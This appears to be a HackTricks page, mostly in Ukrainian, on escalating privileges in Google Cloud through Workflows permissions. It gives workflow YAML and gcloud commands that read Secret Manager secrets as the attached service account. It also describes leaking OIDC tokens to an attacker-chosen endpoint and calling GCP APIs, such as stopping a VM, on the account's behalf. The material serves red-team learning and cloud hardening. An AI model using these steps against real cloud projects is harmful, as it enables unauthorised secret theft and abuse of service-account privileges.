GCP - Workflows Privesc

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Workflows

Основна інформація:

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

Наскільки мені відомо, неможливо отримати shell з доступом до metadata endpoint, що містить облікові дані SA, прикріпленого до Workflow. Однак можна зловживати дозволами SA, додаючи дії для виконання всередині Workflow.

Можна знайти документацію конекторів. Наприклад, це page of the Secretmanager connector. У бічному меню можна знайти кілька інших конекторів.

Тут ви можете знайти приклад конектора, який виводить секрет:

Workflow YAML конфігурація для доступу до секретів ```yaml main: params: [input] steps: - access_string_secret: call: googleapis.secretmanager.v1.projects.secrets.versions.accessString args: secret_id: secret_name version: 1 project_id: project-id result: str_secret - returnOutput: return: "${str_secret}" ```

Оновлення з CLI:

Розгортання та виконання workflows з CLI ```bash gcloud workflows deploy \ --service-account=email@SA \ --source=/path/to/config.yaml \ --location us-central1 ``` Якщо ви отримали помилку на кшталт `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, просто **зачекайте хвилину й спробуйте знову**.

Якщо у вас немає веб-доступу, можна ініціювати та переглянути виконання Workflow за допомогою:

# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

Caution

Ви також можете перевірити вихід попередніх виконань на предмет чутливої інформації

Note that even if you get an error like PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... because you don’t have that permission, the workflow has been generated.

Leak OIDC токен (і OAuth?)

According to the docs it’s possible to use workflow steps that will send an HTTP request with the OAuth or OIDC token. However, just like in the case of Cloud Scheduler, the HTTP request with the OAuth token must be to the host .googleapis.com.

Caution

Therefore, it’s possible to leak the OIDC token by indicating a HTTP endpoint controlled by the user but to leak the OAuth token you would need a bypass for that protection. However, you are still able to contact any GCP api to perform actions on behalf the SA using either connectors or HTTP requests with the OAuth token.

Oauth

Workflow HTTP request with OAuth token ```yaml - step_A: call: http.post args: url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop auth: type: OAuth2 scopes: OAUTH_SCOPE ```
#### OIDC
Workflow HTTP-запит з OIDC токеном ```yaml - step_A: call: http.get args: url: https://us-central1-project.cloudfunctions.net/functionA query: firstNumber: 4 secondNumber: 6 operation: sum auth: type: OIDC audience: OIDC_AUDIENCE ```
### `workflows.workflows.update` ...

З цим дозволом, замість workflows.workflows.create, можна оновити вже існуючий workflow і виконати ті самі атаки.

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks